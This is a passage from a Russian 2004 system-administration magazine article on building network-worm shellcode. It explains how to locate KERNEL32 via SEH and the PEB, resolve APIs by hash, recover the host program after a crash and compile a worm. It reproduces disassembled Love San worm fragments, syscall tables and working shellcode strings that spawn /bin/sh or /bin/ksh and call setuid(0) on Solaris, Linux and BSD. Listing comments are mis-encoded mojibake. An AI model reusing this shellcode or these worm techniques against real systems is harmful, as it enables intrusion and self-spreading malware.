случае они изгоняются «заклинанием» 66 E8 FF FF C0, ко-торое эквивалентно инструкциям CALL $3/INC EAX, нало-женным друг на друга (естественно, это может быть нетолько EAX и не только INC). Затем лишь остается вытол-кнуть содержимое верхушки стека в любой регистр об-щего назначения, например, EBP или EBX. К сожалению,без использования стека здесь не обойтись, и предлагае-мый метод требует, чтобы указатель вершины стека смот-рел на выделенный регион памяти, доступной на запись.Для перестраховки (если переполняющийся буфер дей-ствительно срывает стек начисто) регистр ESP рекомен-дуется инициализировать самостоятельно. Это действи-тельно очень просто сделать, ведь многие из регистро-вых переменных уязвимой программы содержат предска-зуемые значения, точнее – используются предсказуемымобразом. Так, в Си++ программах ECX наверняка содер-жит указатель this, а this – это не только ценный мех, но икак минимум 4 байта доступной памяти!

В порядке дальнейшего развития этой идеи отметим,что не стоит, право же, игнорировать значения регистров,доставшихся shell-коду в момент начала его выполнения.Многие из них указывают на полезные структуры данныхи выделенные регионы памяти, которые мы гарантирован-но можем использовать, не рискуя нарваться на исключе-ние и прочие неожиданные неприятности. Некоторые ре-гистровые переменные чувствительны к версии уязвимо-го приложения, некоторые – к версии компилятора и клю-чам компиляции, так что «гарантированность» эта очень иочень относительна, впрочем, как и все сущее на земле.

Техника вызова системных функцийВозможность вызова системных функций, строго говоря,не является обязательным условием успешности атаки,поскольку все необходимое для атаки жертва (уязвимаяпрограмма) уже содержит внутри себя, в том числе и вы-зовы системных функций вместе с высокоуровневой обер-ткой прикладных библиотек вокруг них. Дизассемблиро-вав исследуемое приложение и определив целевые адре-са интересующих нас функций, мы можем сделать CALLцелевой адрес или PUSH адрес возврата/JMP относитель-ный целевой адрес или MOV регистр, абсолютный целе-вой адрес/PUSH адрес возврата/JMP регистр.

Замечательно, если уязвимая программа импортиру-ет пару функций LoadLibrary/GetProcAddress, – тогда shell-код сможет загрузить любую динамическую библиотеку иобратиться к любой из ее функций. А если функцииGetProcAddress в таблице импорта нет? Тогда атакующийбудет вынужден самостоятельно определять адреса ин-тересующих его функций, отталкиваясь от базового ад-реса загрузки, возращенным LoadLibrary и действуя либопутем «ручного» разбора PE-файла, либо отождествляяфункции по их сигнатурам. Первое сложно, второе – не-надежно. Закладываться на фиксированные адреса сис-темных функций категорически недопустимо, посколькуони варьируются от одной версии операционной системык другой.

Хорошо, а как быть, когда функция LoadLibrary в табли-це импорта конкретно отсутствует и одной или несколькихсистемных функций, жизненно необходимых shell-коду для

Ëèñòèíã 8. Ìàøèííîå ïðåäñòàâëåíèå îòíîñèòåëüíûõ êîìàíä CALL00000000:  E804000000 call 00000000900000005:  66E80101 call 00000010A00000009:  E8F7FFFFFF call 000000005

Page 41: 017 Системный Администратор 04 2004

39№4(17), апрель 2004

безопасность

распространения, там тоже нет? В UNIX-системах можно(и нужно!) использовать прямой вызов функций ядра, реа-лизуемый либо посредством прерывания по вектору 80h(LINUX, Free BSD, параметры передаются через регистры),либо через дальний CALL по адресу 0007h:00000000h(System V, параметры передаются через стек), при этомномера системных вызовов содержатся в файле /usr/include/sys/syscall.h, также смотри врезку. Еще можно вспомнитьмашинные команды syscall/sysenter, которые, как и следуетиз их названия, осуществляют прямые системные вызовывместе с передачей параметров. В Windows NT и производ-ных от нее системах дела обстоят намного сложнее. Взаи-модействие с ядром реализуется посредством прерыванияINT 2Eh, неофициально называемого native API interface(«родной» API-интерфейс). Кое-какая информация на этотсчет содержится в легендарном Interrupt List Ральфа Браунаи «Недокументированных возможностях Windows NT» Ко-берниченко, но мало, очень мало. Это чрезвычайно скуднодокументированный интерфейс, и единственным источни-ком данных остаются дизассемблерные листингиKERNEL32.DLL и NTDLL.DLL. Работа c native API требуетвысокого профессионализма и глубокого знания архитек-туры операционной системы, да и как-то громоздко всеполучается, – ядро NT оперирует с небольшим числом до-вольно примитивных (или, если угодно, – низкоуровневых)функций. К непосредственному употреблению они непри-годны и, как и всякий полуфабрикат, должны быть соот-ветствующим образом приготовлены. Например, функцияLoadLibrary «распадается» по меньшей мере на два сис-темных вызова – NtCreateFile (EAX == 17h) открывает файл,NtCreateSection (EAX == 2Bh) проецирует файл в память(т.е. работает как CreateFileMapping), после чего NtClose(EAX == 0Fh) со спокойной совестью закрывает дескрип-тор. Что же касается функции GetProcAddress, то она цели-ком реализована в NTDLL.DLL и в ядре даже не ночевала(впрочем, при наличии спецификации PE-формата – онавходит в Platform SDK и MSDN – таблицу экспорта можнопроанализировать и «вручную»).

С другой стороны, обращаться к ядру для выбора«эмулятора» LoadLibrary совершенно необязательно, по-скольку библиотеки NTDLL.DLL и KERNEL32.DLL всегдаприсутствуют в адресном пространстве любого процесса,и если мы сможем определить адрес их загрузки, мы со-рвем банк. Автору известны два способа решения этой за-дачи – через системный обработчик структурных исключе-ний и через PEB. Первый – самоочевиден, но громоздок инеэлегантен, а второй элегантен, но ненадежен. «PEB толь-ко на моей памяти менялась три раза» (с) Юрий Харон.Однако последнее обстоятельство ничуть не помешалочервю Love San разбросать себя по миллионам машин.

Если во время выполнения приложения возникает ис-ключительная ситуация (деление на ноль или обращениек несуществующей странице памяти, например), и самоприложение никак ее не обрабатывает, то управлениеполучает системный обработчик, реализованный внутриKERNEL32.DLL и в W2K SP3, расположенный по адресу77EA1856h. В других операционных системах этот адресбудет иным, поэтому грамотно спроектированный shell-код должен автоматически определять адрес обработчи-

ка на лету. Вызывать исключение и трассировать код (какэто приходилось делать во времена старушки MS-DOS)теперь совершенно необязательно. Лучше обратиться кцепочке структурных обработчиков, упакованных в струк-туру EXCEPTION_REGISTRATION, первое двойное словокоторых содержит указатель на следующий обработчик(или FFFFFFFFh, если никаких обработчиков больше нет),а второе – адрес данного обработчика

Первый элемент цепочки обработчиков хранится поадресу FS:[00000000h], а все последующие – непосред-ственно в адресном пространстве подопытного процесса.Перемещаясь от элемента к элементу, мы будем двигать-ся до тех пор, пока в поле prev не встретим FFFFFFFFFh,тогда поле handler предыдущего элемента будет содер-жать адрес системного обработчика. Неофициально этотмеханизм называется «раскруткой стека структурных ис-ключений» и подробнее о нем можно прочитать в статьеМэтта Питрека «A Crash Course on the Depths of Win32Structured Exception Handling», входящий в состав MSDN.

В качестве наглядной иллюстрации ниже приведен код,возвращающий в регистре EAX адрес системного обра-ботчика.

Коль скоро по крайней мере один адрес, принадлежа-щий библиотеке KERNEL32.DLL, нам известен, опреде-лить базовый адрес ее загрузки уже не составит никако-го труда (он кратен 1000h и содержит в своем началеNewExe заголовок, элементарно опознаваемый по сигна-турам «MZ» и «PE»). Следующий код принимает и ожида-ет в регистре EBP адрес системного загрузчика и в немже возвращает базовый адрес загрузки KERNEL32.DLL.

Ëèñòèíã 9. Ñòðóêòóðà  EXCEPTION  REGISTRATION_EXCEPTION_REGISTRATION  struc

prev dd ?handler dd ?

_EXCEPTION_REGISTRATION  ends

Ëèñòèíã 10. Êîä,  îïðåäåëÿþùèé  áàçîâûé  àäðåñ  çàãðóçêèKERNEL32.DLL ïî SEH.data:00501007 xor eax, eax ; EAX := 0.data:00501009 xor ebx, ebx ; EBX := 0; àäðåñ îáðàáîò÷èêà.data:0050100B mov ecx, fs:[eax+4]; óêàçàòåëü íà ñëåäóþùèé îáðàáîò÷èê.data:0050100F mov eax, fs:[eax]; íà ïðîâåðêó óñëîâèÿ öèêëà.data:00501012 jmp short loc_501019;  --------------------------------------------------------.data:00501014.data:00501014  loc_501014:; àäðåñ îáðàáîò÷èêà.data:00501014 mov ebx, [eax+4]; óêàçàòåëü íà ñëåä. îáðàáîò÷èê.data:00501017 mov eax, [eax].data:00501019.data:00501019  loc_501019:; ýòî ïîñëåäíèé îáðàáîò÷èê?.data:00501019 cmp eax, 0FFFFFFFFh; ìîòàåì öèêë, ïîêà íå êîíåö.data:0050101C jnz short loc_501014

Ëèñòèíã 11. Ôóíêöèÿ,  îïðåäåëÿþùàÿ  áàçîâûé  àäðåñ  çàãðóçêèKERNEL32.DLL ïóòåì ïîèñêà ñèãíàòóð «MZ» è «PE» â îïåðàòèâíîéïàìÿòè; ýòî «MZ»?001B:0044676C CMP WORD PTR [EBP+00],5A4D

Page 42: 017 Системный Администратор 04 2004

40

безопасность

Существует и более элегантный способ определениябазового адреса загрузки KERNEL32.DLL, основанный наPEB (Process Environment Block – блок окружения процес-са), указатель на который содержится в двойном словепо адресу FS:[00000030h], а сам PEB разлагается следу-ющим образом:

По смещению 0Ch в нем содержится указатель наPEN_LDR_DATA, представляющий собой список загружен-ных динамических библиотек, перечисленный в порядкеих инициализации (NTDLL.DLL инициализируется первой,следом за ней идет KERNEL32.DLL):

Собственно, вся идея заключается в том, чтобы, прочи-тав двойное слово по адресу FS:[00000030h], преобразо-вать его в указатель на PEB и перейти по адресу, на кото-рый ссылается указатель, лежащий по смещению 0Ch отего начала – InInitOrderModuleList. Отбросив первый элемент,принадлежащий NTDLL.DLL, мы получим указатель наLIST_ENTRY, содержащей характеристики KERNEL32.DLL(в частности, базовый адрес загрузки хранится в третьемдвойном слове). Впрочем, это легче программировать, чемговорить, и все вышесказанное с легкостью умещается впяти ассемблерных командах.

Ниже приведен код, выдранный из червя Love San, до

сих пор терроризирующего Интернет. Данный фрагментне имеет никакого отношения к автору вируса и был им«позаимствован» из сторонних источников. Об этом го-ворят «лишние» ассемблерные команды, предназначен-ные для совместимости с Windows 9x (в ней все не так,как в NT), но ведь ареал обитания Love San ограниченисключительно NT-подобными системами, и он в принци-пе не способен поражать Windows 9x!

Ручной разбор PE-формата несмотря на свое устрашаю-щее название реализуется элементарно. Двойное слово,лежащее по смещению 3Ch от начала базового адреса заг-рузки, содержит смещение (не указатель!) PE-заголовкафайла, который в свою очередь в 78h своем двойном словесодержит смещение таблицы экспорта, 18h – 1Bh и 20h – 23hбайты которой хранят количество экспортируемых функцийи смещение таблицы экспортируемых имен соответственно(хотя функции экспортируются также и по ординалам, сме-щение таблицы экспорта которых находится в 24h –27h бай-тах). Запомните эти значения – 3Ch, 78h, 20h/24h – они бу-дут вам часто встречаться в коде червей и эксплоитов, зна-чительно облегчая идентификацию алгоритма последних.

Теперь, отталкиваясь от адреса таблицы экспортируе-мых имен (в грубом приближении представляющую со-бой массив текстовых ASCIIZ-строк, каждая из которыхсоответствует «своей» API-функции), мы сможем найтивсе необходимое. Однако от посимвольного сравнения

Ëèñòèíã 12. Ðåàëèçàöèÿ ñòðóêòóðû PEB â W2K/XPPEB STRUC

PEB_InheritedAddressSpace DB ?PEB_ReadImageFileExecOptions DB ?PEB_BeingDebugged DB ?PEB_SpareBool DB ?PEB_Mutant DD ?PEB_ImageBaseAddress DD ?; +0ChPEB_PebLdrData DD PEB_LDR_DATA PTR ?�PEB_SessionId DD ?

PEB

Ëèñòèíã 13. Ðåàëèçàöèÿ ñòðóêòóðû PEB_LDR_DATA â W2K/XPPEB_LDR_DATA  STRUC DD ? ; +00PEB_LDR_Flags DD ? ; +04PEB_LDR_Unknown8 DD ? ; +08; +0ChPEB_LDR_InLoadOrderModuleList LIST_ENTRY ?; +14hPEB_LDR_InMemoryOrderModuleList LIST_ENTRY ?; +1ChPEB_LDR_InInitOrderModuleList LIST_ENTRY ?

PEB_LDR_DATA  ENDSLIST_ENTRY  STRUC

LE_FORWARD dd *forward_in_the_list ;  + 00hLE_BACKWARD dd *backward_in_the_list ;  + 04hLE_IMAGE_BASE dd imagebase_of_ntdll.dll ;  + 08h�LE_IMAGE_TIME dd imagetimestamp ;  + 44h

LIST_ENTRY

Ëèñòèíã 14. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-äåëåíèå áàçîâîãî àäðåñà çàãðóçêè KERNEL32.DLL è îáåñïå÷èâà-þùèé ÷åðâþ çàâèäíóþ íåçàâèñèìîñòü îò âåðñèè àòàêóåìîé îïå-ðàöèîííîé  ñèñòåìû; PEB basedata:004046FE 64 A1 30 00 00 mov  eax, large fs:30hdata:00404704 85 C0 test eax, eax ;; -- ìû íà w9x -->data:00404706 78 0C js   short loc_404714; PEB_LDR_DATAdata:00404708 8B 40 0C mov   eax, [eax+0Ch]; 1 ýëåìåíò InInitOrderModuleListdata:0040470B 8B 70 1C mov   esi, [eax+1Ch]; ñëåäóþùèé ýëåìåíòdata:0040470E  AD lodsd; áàçîâûé àäðåñ KERNEL32.DLLdata:0040470F 8B 68 08 mov   ebp, [eax+8]data:00404712 EB 09 jmp   short loc_40471Ddata:00404714;  -------------------------------------------; CODE XREF: kk_get_kernel32+A↑↑↑↑↑jdata:00404714  loc_404714:data:00404714 8B 40 34 mov  eax, [eax+34h]data:00404717 8B A8 B8 00 00+ mov  ebp, [eax+0B8h]data:00404717; CODE XREF: kk_get_kernel32+16↑↑↑↑↑jdata:0040471D  loc_40471D:

Ëèñòèíã 15. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-äåëåíèå àäðåñà òàáëèöû ýêñïîðòèðóåìûõ èìåí; áàçîâûé àäðåñ çàãðóçêè KERNEL32.data:00404728 mov ebp,  [esp+arg_4]; íà PE-çàãîëîâîê.data:0040472C mov eax, [ebp+3Ch]; íà òàáëèöó ýêñïîðòà.data:0040472F mov edx,  [ebp+eax+78h].data:00404733 add edx, ebp; êîë-âî ýêñïîðòèðóåìûõ ôóíêöèé.data:00404735 mov ecx, [edx+18h]; íà òàáëèöó ýêñïîðòèðóåìûõ èìåí.data:00404738 mov ebx, [edx+20h]; àäðåñ òàáëèöû ýêñïîðòèðóåìûõ èìåí.data:0040473B add ebx, ebp

; -- íåò, íå MZ -->001B:00446772 JNZ 00446781; íà «PE» çàãîëîâîê001B:00446774 MOV EAX,[EBP+3C]; ýòî «PE»?001B:00446777 CMP DWORD PTR [EAX+EBP+0],4550; -- äà, ýòî PE -->001B:0044677F JZ 00446789; ñëåä. 1 Êá áëîê001B:00446781 SUB EBP,00010000; ìîòàåì öèêë001B:00446787 LOOP 0044676C001B:00446789 �

Page 43: 017 Системный Администратор 04 2004

41№4(17), апрель 2004

безопасность

лучше сразу отказаться и вот почему: во-первых, именабольшинства API-функций чрезвычайно тяжеловесны, аразмер shell-кода жестко ограничен, во-вторых, явная заг-рузка API-функций чрезвычайно упрощает анализ алго-ритма shell-кода, что не есть хорошо. Всех этих недостат-ков лишен алгоритм хеш-сравнения, в общем случае сво-дящийся к «свертке» сравниваемых строк по некоторойфункции f. Подробнее об этом можно прочитать в соот-ветствующей литературе (например, «Искусство програм-мирования» Кнута), здесь же мы просто приведем про-граммный код, снабженный подробными комментариями.

Зная индекс целевой функции в таблице экспорта, лег-ко определить ее адрес. Это можно сделать, например,таким образом:

Упасть, чтобы отжатьсяВосстановление работоспособности уязвимой программыпосле переполнения – это не только залог скрытности про-никновения, но и определенный культурный элемент. Вы-

полнив свою миссию, червь не должен возвращать управ-ление программе-носителю, поскольку с вероятностью,близкой к единице, она немедленно рухнет, что вызоветсерьезные подозрения у администратора.

Если каждое новое TCP/IP-подключение обрабатывает-ся уязвимой программой в отдельном потоке, то вирусу бу-дет достаточно просто «прибить» свой поток, вызвав APIфункцию TerminateThread, или войти в бесконечный цикл(правда, при этом на однопроцессорных машинах загрузкаЦП может возрасти до 100%, что тоже очень нехорошо).

С однопоточными приложениями все намного сложнее,и червю приходится «вручную» приводить искаженныеданные в минимально работоспособный вид, либо раскру-чивать стек, «выныривая» в материнской функции, ещене затронутой искажениями, либо же передавать управ-ление на какую-нибудь диспетчерскую функцию, занима-ющуюся рассылкой сообщений.

Более универсальных способов до сих пор не приду-мано, несмотря на то, что несколько последних лет этатема находится в интенсивной разработке.

Компиляция червяСогласно правилам этикета компьютерного андеграунда,разработка вирусов должна происходить на языке ассемб-лера и/или машинного кода. Если вы попытаетесь исполь-зовать Си или – страшно сказать DELPHI – вас попростуне будут уважать. Лучше вообще не писать вирусов, а еслии писать, то по крайней мере делать это профессионально.

Тем не менее, эффективность современных компиля-торов такова, что по качеству своей кодогенерации онивплотную приближаются к ассемблеру, и если убить start-up, то мы получим компактный, эффективный, наглядныйи легко отлаживаемый код. Прогрессивно настроенныехакеры стремятся использовать языки высокого уровнявезде, где только это возможно, а к ассемблеру обраща-ются только по необходимости.

Из всех компонентов червя только голова требует не-посредственного ассемблерного вмешательства, а телои начинка червя замечательно реализуются и на старом –добром Си. Да, такой подход нарушает полувековые тра-диции вирусописательства, но давайте не будем цеплять-ся за традиции! Мир непрерывно меняется, и мы меняем-ся вместе с ним. Когда-то ассемблер (а еще раньше – ма-шинные коды) были неизбежной необходимостью, сейчасже они становятся своеобразным магическим ритуалом,отсекающим от создания «правильных» вирусов всех не-посвященных.

Кстати говоря, обычные трансляторы ассемблера (та-кие, например, как TASM или MASM) для компиляции го-ловы червя не пригодны. Они намного ближе стоят к язы-кам высокого уровня, чем, собственно, к самому ассем-блеру. Излишняя самодеятельность и интеллектуаль-ность транслятора при разработке shell-кода только вре-дит. Во-первых, мы не видим, во что транслируется таили иная ассемблерная мнемоника, и чтобы узнать, при-сутствуют ли в ней нули, приходится обращаться к спра-вочнику по командам от Intel/AMD или каждый раз вы-полнять полный цикл трансляции. Во-вторых, легальными

Ëèñòèíã 16. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-äåëåíèÿ èíäåêñà ôóíêöèè â òàáëèöå; CODE XREF: kk_get_proc_adr+36↓↓↓↓↓j.data:0040473D loc_40473D:; --> îøèáêà.data:0040473D jecxz short loc_404771; â ecx êîëè÷åñòâî ýêñïîðòèðóåìûõ ôóíêöèé.data:0040473F dec   ecx; ñìåùåíèå êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé.data:00404740 mov   esi, [ebx+ecx*4]; àäðåñ êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé.data:00404743 add   esi, ebp.data:00404745 xor   edi, edi ; EDI := 0; ñáðàñûâàåì ôëàã íàïðàâëåíèÿ.data:00404747 cld.data:00404748; CODE XREF: kk_get_proc_adr+30↓↓↓↓↓j.data:00404748 loc_404748:.data:00404748 xor  eax, eax ; EAX := 0; ÷èòàåì î÷åðåäíîé ñèìâîë èìåíè ôóíêöèè.data:0040474A lodsb; ýòî êîíåö ñòðîêè?.data:0040474B cmp  al, ah; åñëè êîíåö, òî ïðûãàåì íà êîíåö.data:0040474D jz   short loc_404756; õåøèðóåì èìÿ ôóíêöèè íàëåòó...data:0040474F ror  edi, 0Dh; �íàêàïëèâàÿ õåø-ñóììó â ðåãèñòðå EDI.data:00404752 add  edi, eax.data:00404754 jmp  short loc_404748 ;; CODE XREF: kk_get_proc_adr+29↑↑↑↑↑j.data:00404756 loc_404756:; ýòî õåø «íàøåé» ôóíêöèè?.data:00404756 cmp  edi, [esp+arg_0]; åñëè íåò, ïðîäîëæèòü ïåðåáîð.data:0040475A jnz short loc_40473D

Ëèñòèíã 17. Ôðàãìåíò  ÷åðâÿ  Love San,  îñóùåñòâëÿþùèé  îêîí-÷àòåëüíîå îïðåäåëåíèå àäðåñà API-ôóíêöèè â ïàìÿòè; ñìåùåíèå òàáëèöû ýêñïîðòà îðäèíàëîâ.data:0040475C mov ebx, [edx+24h]; àäðåñ òàáëèöû îðäèíàëîâ.data:0040475F add ebx,  ebp; ïîëó÷àåì èíäåêñ â òàáëèöå àäðåñîâ.data:00404761 mov cx,  [ebx+ecx*2]; ñìåùåíèå ýêñïîðòíîé òàáëèöû àäðåñîâ.data:00404765 mov ebx, [edx+1Ch]; àäðåñ ýêñïîðòíîé òàáëèöû àäðåñîâ.data:00404768 add ebx,  ebp; ïîëó÷àåì ñìåùåíèå ôóíêöèè ïî èíäåêñó.data:0040476A mov eax, [ebx+ecx*4]; ïîëó÷àåì àäðåñ ôóíêöèè.data:0040476D add eax, ebp

Page 44: 017 Системный Администратор 04 2004

42

безопасность

Реализация системных вызовов в различных ОСМеханизм системных вызовов – это задний двор операционной системы или, если угодно, – ее внутренняя и не всегдахорошо документированная кухня. Внутри червя плавают какие-то константы, команды, сложным образом манипули-рующие с регистрами, но физический смысл происходящего в целом остается неясным.

Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС суказанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал поза-имствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes» от LSD Research Group,которую я всячески рекомендую всем кодокопателям и исследователям компьютерных вирусов и червей в частности).

Solaris/SPARCСистемный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номерсистемного вызова передается через регистр g1, а аргументы – через регистры o0, o1, o2, o3 и o4. Перечень номеровнаиболее употребляемых системных функций приведен ниже.

Solaris/x86Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещениеноль). Номер системного вызова передается через регистр eax, а аргументы – через стек, причем самый левый аргу-мент заталкивается в стек последним. Стек очищает сама вызываемая функция.

Linux/x86Системный вызов осуществляется через программное прерывание по вектору 80h, возбуждаемое машинной инструк-цией INT 80h. Номер системного вызова передается через регистр eax, а аргументы – через регистры ebx, ecx и edx.

Ëèñòèíã 18. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/SPARCsyscall %g1 %o0, %o1, %o2, %o3, %o4exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path,0]exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path, -->a1= "-c" -->a2 = cmd, 0]setuid 017h uid = 0mkdir 050h --> path = "b..", mode = (each value is valid)chroot 03Dh --> path = "b..", "."chdir 00Ch --> path = ".."ioctl 036h sfd, TI_GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []]so_socket 0E6h AF_INET=2,  SOCK_STREAM=2,  prot=0,  devpath=0,  SOV_DEFAULT=1bind 0E8h sfd, --> sadr = [33h, 2, hi, lo, 0, 0, 0, 0], len=10h, SOV_SOCKSTREAM = 2listen 0E9h sfd, backlog = 5, vers = (not required in this syscall)accept 0EAh sfd, 0, 0, vers = (not required in this syscall)fcntl 03Eh sfd, F_DUP2FD = 09h, fd = 0, 1, 2Ëèñòèíã 19. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/SPARCchar shellcode[]=  /* 10*4+8 bytes */"\x20\xbf\xff\xff" /* bn,a <shellcode-4> ; \ */"\x20\xbf\xff\xff" /* bn,a <shellcode> ; +- òåêóùèé óêàçàòåëü êîìàíä â %o7 */"\x7f\xff\xff\xff" /* call <shellcode+4> ; / */"\x90\x03\xe0\x20" /* add %o7,32,%o0 ; â %o0 óêàçàòåëü íà /bin/ksh */"\x92\x02\x20\x10" /* add %o0,16,%o1 ; â %o1 óêàçàòåëü íà ñâîáîäíóþ ïàìÿòü */"\xc0\x22\x20\x08" /* st %g0,[%o0+8] ; ñòàâèì çàâåðøàþùèé íîëü â /bin/ksh */"\xd0\x22\x20\x10" /* st %o0,[%o0+16] ; çàíóëÿåì ïàìÿòü ïî óêàçàòåëþ %o1 */"\xc0\x22\x20\x14" /* st %g0,[%o0+20] ; the same */"\x82\x10\x20\x0b" /* mov 0x0b,%g1 ; íîìåð ñèñòåìíîé ôóíêöèè exec */"\x91\xd0\x20\x08" /* ta 8 ; âûçûâàåì ôóíêöèþ exec */"/bin/ksh";

Ëèñòèíã 20. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/x86syscall %eax stackexec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0]exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]setuid 17h ret, uid = 0mkdir 50h ret, --> path = "b..", mode = (each value is valid)chroot 3Dh ret, --> path = "b..","."chdir 0Ch ret, --> path = ".."ioctl 36h ret, sfd, TI_GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]]so socket E6h ret,  AF_INET=2,SOCK  STREAM=2,prot=0,devpath=0,SOV  DEFAULT=1bind E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2listen E9h ret, sfd, backlog = 5, vers = (not required in this syscall)accept Eah ret, sfd, 0, 0, vers = (not required in this syscall)fcntl 3Eh ret, sfd, F_DUP2FD = 09h, fd = 0, 1, 2Ëèñòèíã 21. Äåìîíñòðàöèîííûé  ïðèìåð  shell-êîäà  ïîä  Solaris/x86char  setuidcode[]= /* 7 bytes */"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */"\x50" /* pushl %eax ; çàòàëêèâàåì â ñòåê íóëü */"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè setuid */"\xff\xd6" /* call *%esi ; setuid(0) */

Page 45: 017 Системный Администратор 04 2004

43№4(17), апрель 2004

безопасность

Free,Net,OpenBSD/x86Операционные системы семейства BSD реализуют гибридный механизм вызова системных функций: поддерживаякак far call на адрес 0007:00000000 (только номера системных функций другие), так и прерывание по вектору 80h.Аргументы в обоих случаях передаются через стек.

Ëèñòèíã 22. Íîìåðà ñèñòåìíûõ âûçîâîâ â Linux/x86syscall %eax %ebx, %ecx, %edxexec 0Bh --> path = "/bin//sh", --> [--> a0 = path, 0]exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]setuid 17h uid = 0mkdir 27h --> path = "b..", mode = 0 (each value is valid)chroot 3Dh --> path = "b..", "."chdir 0Ch --> path = ".."socketcall 66h getpeername = 7, --> [sfd, --> sadr = [],--> [len=10h]]socketcall 66h socket = 1, --> [AF_INET = 2, SOCK STREAM = 2,prot = 0]socketcall 66h bind = 2, --> [sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], len =10h]socketcall 66h listen = 4, --> [sfd, backlog = 102]socketcall 66h accept = 5, --> [sfd, 0, 0]dup2 3Fh sfd, fd = 2, 1, 0Ëèñòèíã 23. Äåìîíñòðàöèîííûé  ïðèìåð  shell-êîäà  ïîä  Linux/x86char setuidcode[]= /* 8 bytes */"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */"\x31\xdb" /* xorl %ebx,%ebx ; EBX := 0 */"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè stuid */"\xcd\x80" /* int $0x80 ; setuid(0) */

Ëèñòèíã 24. Íîìåðà ñèñòåìíûõ âûçîâîâ â BSD/x86syscall %eax stackexecve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = 0], 0execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0], 0setuid 17h ret, uid = 0mkdir 88h ret, --> path = "b..", mode = (each value is valid)chroot 3Dh ret, --> path = "b..", "."chdir 0Ch ret, --> path=".."getpeername 1Fh ret, sfd, --> sadr = [],--> [len = 10h]socket 61h ret, AF_INET = 2, SOCK_STREAM = 1, prot = 0bind 68h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h]listen 6Ah ret, sfd, backlog = 5accept 1Eh ret, sfd, 0, 0dup2 5Ah ret, sfd, fd = 0, 1, 2Ëèñòèíã 25. Äåìîíñòðàöèîííûé  ïðèìåð  shell-êîäà  ïîä  BSD/x86char  shellcode[]= /* 23 bytes */"\x31\xc0" /* xorl %eax,%eax ; EAX := 0 */"\x50" /* pushl %eax ; çàòàëêèâàåì çàâåðøàþùèé íîëü â ñòåê */"\x68""//sh" /* pushl $0x68732f2f ; çàòàëêèâàåì õâîñò ñòðîêè â ñòåê */"\x68""/bin" /* pushl $0x6e69622f ; çàòàëêèâàåì íà÷àëî ñòðîêè â ñòåê */"\x89\xe3" /* movl %esp,%ebx ; óñòàíàâëèâàåì EBX íà âåðøèíó ñòåêà */"\x50" /* pushl %eax ; çàòàëêèâàåì íîëü â ñòåê */"\x54" /* pushl %esp ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà íîëü */"\x53" /* pushl %ebx ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà /bin/sh */"\x50" /* pushl %eax ; ïåðåäàåì ôóíêöèè íîëü */"\xb0\x3b" /* movb $0x3b,%al ; íîìåð ñèñòåìíîé ôóíêöèè execve */"\xcd\x80" /* int $0x80 ;  execve("//bin//sh",  "",0); */;

средствами ассемблера мы не сможем выполнить непос-редственный FAR CALL и будем вынуждены задавать егочерез директиву DB. В-третьих, управление дампом неподдерживается в принципе и процедуру шифровки shell-кода приходится выполнять сторонними утилитами. По-этому очень часто для разработки головы червя исполь-зуют HEX-редактор со встроенным ассемблером и крип-том, например, HIEW или QVIEW. Машинный код каждойвведенной ассемблерной инструкции генерируется в этомслучае сразу, что называется, «на лету», и если резуль-тат трансляции вас не устраивает, вы можете, не отходяот кассы, испробовать несколько других вариантов. С дру-гой стороны, такому способу разработки присущ целыйряд серьезных недостатков.

Начнем с того, что набитый в HEX-редакторе машин-ный код практически не поддается дальнейшему редакти-

рованию. Пропуск одной-единственной машинной коман-ды может стоить вам ночи впустую потраченного труда, –ведь для ее вставки в середину shell-кода все последую-щие инструкции должны быть смещены вниз, а соответ-ствующие им смещения заново пересчитаны. Правда, мож-но поступить и так: на место отсутствующей команды вне-дрить JMP на конец shell-кода, перенести туда затертое JMPсодержимое, добавить требуемое количество машинныхкоманд и еще одним JMP вернуть управление на прежнееместо. Однако такой подход чреват ошибками и к тому жесфера его применения более чем ограничена (немногиепроцессорные архитектуры поддерживают JMP вперед, несодержащей в своем теле паразитных нулей).

Кроме того, HIEW, как и подавляющее большинстводругих HEX-редакторов, не позволяет использовать ком-ментарии, что затрудняет и замедляет процесс програм-

Page 46: 017 Системный Администратор 04 2004

44

безопасность

